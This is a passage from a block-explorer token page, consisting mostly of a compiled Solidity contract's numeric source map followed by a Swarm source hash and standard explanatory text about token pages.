:154::-;6643:4;6660:38;4937:10;6680:9;6691:6;6660:9;:38::i;2638:346::-;-1:-1:-1;;;;;2740:19:0;;2732:69;;;;-1:-1:-1;;;2732:69:0;;6639:2:1;2732:69:0;;;6621:21:1;6678:2;6658:18;;;6651:30;6717:34;6697:18;;;6690:62;-1:-1:-1;;;6768:18:1;;;6761:35;6813:19;;2732:69:0;6437:401:1;2732:69:0;-1:-1:-1;;;;;2820:21:0;;2812:69;;;;-1:-1:-1;;;2812:69:0;;7045:2:1;2812:69:0;;;7027:21:1;7084:2;7064:18;;;7057:30;7123:34;7103:18;;;7096:62;-1:-1:-1;;;7174:18:1;;;7167:33;7217:19;;2812:69:0;6843:399:1;2812:69:0;-1:-1:-1;;;;;2892:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;2944:32;;1981:25:1;;;2944:32:0;;1954:18:1;2944:32:0;;;;;;;2638:346;;;:::o;5636:655::-;5716:17;-1:-1:-1;;;;;5756:18:0;;5748:27;;;;;;-1:-1:-1;;;;;5803:15:0;;;;;;:9;:15;;;;;;5794:24;;;5786:33;;;;;;5850:2;-1:-1:-1;;;;;5835:25:0;5844:4;-1:-1:-1;;;;;5835:25:0;;5854:5;5835:25;;;;1981::1;;1969:2;1954:18;;1835:177;5835:25:0;;;;;;;;-1:-1:-1;;;;;5889:15:0;;;;;;:9;:15;;;;;;:25;;5908:5;;5889:25;:::i;:::-;-1:-1:-1;;;;;5871:15:0;;;;;;:9;:15;;;;;;;;:43;;;;5944:9;:15;;;;;;4048:12;-1:-1:-1;5944:37:0;;6021:24;6040:4;6021:14;:5;6031:3;6021:9;:14::i;:::-;:18;;:24::i;:::-;-1:-1:-1;;;;;6061:15:0;;;;;;:9;:15;;;;;;5993:52;;-1:-1:-1;6061:20:0;;;;6060:36;;;6086:10;6060:36;6056:103;;;6128:17;6115:31;;6056:103;-1:-1:-1;;;;;6189:13:0;;6169:17;6189:13;;;:9;:13;;;;;;6226:21;6237:9;6227:5;6226:21;:::i;:::-;6213:34;;;;:::i;:::-;-1:-1:-1;;;;;6258:13:0;;;;;;;:9;:13;;;;;:25;;;;-1:-1:-1;;;;;;5636:655:0:o;763:223::-;821:7;845:1;850;845:6;841:23;;-1:-1:-1;861:1:0;854:8;;841:23;874:9;886:5;890:1;886;:5;:::i;:::-;874:17;-1:-1:-1;919:1:0;910:5;914:1;874:17;910:5;:::i;:::-;:10;902:57;;;;-1:-1:-1;;;902:57:0;;7844:2:1;902:57:0;;;7826:21:1;7883:2;7863:18;;;7856:30;7922:34;7902:18;;;7895:62;-1:-1:-1;;;7973:18:1;;;7966:32;8015:19;;902:57:0;7642:398:1;902:57:0;977:1;763:223;-1:-1:-1;;;763:223:0:o;577:178::-;635:7;667:1;663;:5;655:45;;;;-1:-1:-1;;;655:45:0;;8247:2:1;655:45:0;;;8229:21:1;8286:2;8266:18;;;8259:30;8325:29;8305:18;;;8298:57;8372:18;;655:45:0;8045:351:1;655:45:0;711:9;723:5;727:1;723;:5;:::i;:::-;711:17;577:178;-1:-1:-1;;;;577:178:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1215:615::-;1301:6;1309;1362:2;1350:9;1341:7;1337:23;1333:32;1330:52;;;1378:1;1375;1368:12;1330:52;1418:9;1405:23;1447:18;1488:2;1480:6;1477:14;1474:34;;;1504:1;1501;1494:12;1474:34;1542:6;1531:9;1527:22;1517:32;;1587:7;1580:4;1576:2;1572:13;1568:27;1558:55;;1609:1;1606;1599:12;1558:55;1649:2;1636:16;1675:2;1667:6;1664:14;1661:34;;;1691:1;1688;1681:12;1661:34;1744:7;1739:2;1729:6;1726:1;1722:14;1718:2;1714:23;1710:32;1707:45;1704:65;;;1765:1;1762;1755:12;1704:65;1796:2;1788:11;;;;;1818:6;;-1:-1:-1;1215:615:1;;-1:-1:-1;;;;1215:615:1:o;2017:456::-;2094:6;2102;2110;2163:2;2151:9;2142:7;2138:23;2134:32;2131:52;;;2179:1;2176;2169:12;2131:52;2218:9;2205:23;2237:31;2262:5;2237:31;:::i;:::-;2287:5;-1:-1:-1;2344:2:1;2329:18;;2316:32;2357:33;2316:32;2357:33;:::i;:::-;2017:456;;2409:7;;-1:-1:-1;;;2463:2:1;2448:18;;;;2435:32;;2017:456::o;2478:315::-;2546:6;2554;2607:2;2595:9;2586:7;2582:23;2578:32;2575:52;;;2623:1;2620;2613:12;2575:52;2659:9;2646:23;2636:33;;2719:2;2708:9;2704:18;2691:32;2732:31;2757:5;2732:31;:::i;:::-;2782:5;2772:15;;;2478:315;;;;;:::o;3006:247::-;3065:6;3118:2;3106:9;3097:7;3093:23;3089:32;3086:52;;;3134:1;3131;3124:12;3086:52;3173:9;3160:23;3192:31;3217:5;3192:31;:::i;3258:388::-;3326:6;3334;3387:2;3375:9;3366:7;3362:23;3358:32;3355:52;;;3403:1;3400;3393:12;3355:52;3442:9;3429:23;3461:31;3486:5;3461:31;:::i;:::-;3511:5;-1:-1:-1;3568:2:1;3553:18;;3540:32;3581:33;3540:32;3581:33;:::i;3651:380::-;3730:1;3726:12;;;;3773;;;3794:61;;3848:4;3840:6;3836:17;3826:27;;3794:61;3901:2;3893:6;3890:14;3870:18;3867:38;3864:161;;3947:10;3942:3;3938:20;3935:1;3928:31;3982:4;3979:1;3972:15;4010:4;4007:1;4000:15;3864:161;;3651:380;;;:::o;4036:127::-;4097:10;4092:3;4088:20;4085:1;4078:31;4128:4;4125:1;4118:15;4152:4;4149:1;4142:15;4168:125;4233:9;;;4254:10;;;4251:36;;;4267:18;;:::i;4298:127::-;4359:10;4354:3;4350:20;4347:1;4340:31;4390:4;4387:1;4380:15;4414:4;4411:1;4404:15;4430:135;4469:3;4490:17;;;4487:43;;4510:18;;:::i;:::-;-1:-1:-1;4557:1:1;4546:13;;4430:135::o;4702:251::-;4772:6;4825:2;4813:9;4804:7;4800:23;4796:32;4793:52;;;4841:1;4838;4831:12;4793:52;4873:9;4867:16;4892:31;4917:5;4892:31;:::i;4958:980::-;5220:4;5268:3;5257:9;5253:19;5299:6;5288:9;5281:25;5325:2;5363:6;5358:2;5347:9;5343:18;5336:34;5406:3;5401:2;5390:9;5386:18;5379:31;5430:6;5465;5459:13;5496:6;5488;5481:22;5534:3;5523:9;5519:19;5512:26;;5573:2;5565:6;5561:15;5547:29;;5594:1;5604:195;5618:6;5615:1;5612:13;5604:195;;;5683:13;;-1:-1:-1;;;;;5679:39:1;5667:52;;5774:15;;;;5739:12;;;;5715:1;5633:9;5604:195;;;-1:-1:-1;;;;;;;5855:32:1;;;;5850:2;5835:18;;5828:60;-1:-1:-1;;;5919:3:1;5904:19;5897:35;5816:3;4958:980;-1:-1:-1;;;4958:980:1:o;6304:128::-;6371:9;;;6392:11;;;6389:37;;;6406:18;;:::i;7247:168::-;7320:9;;;7351;;7368:15;;;7362:22;;7348:37;7338:71;;7389:18;;:::i;7420:217::-;7460:1;7486;7476:132;;7530:10;7525:3;7521:20;7518:1;7511:31;7565:4;7562:1;7555:15;7593:4;7590:1;7583:15;7476:132;-1:-1:-1;7622:9:1;;7420:217::o

Swarm Source

ipfs://912b44bd9ca05aa42685db93a1e8848dc0c3463a22d16f36f1439110edce3ed2
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.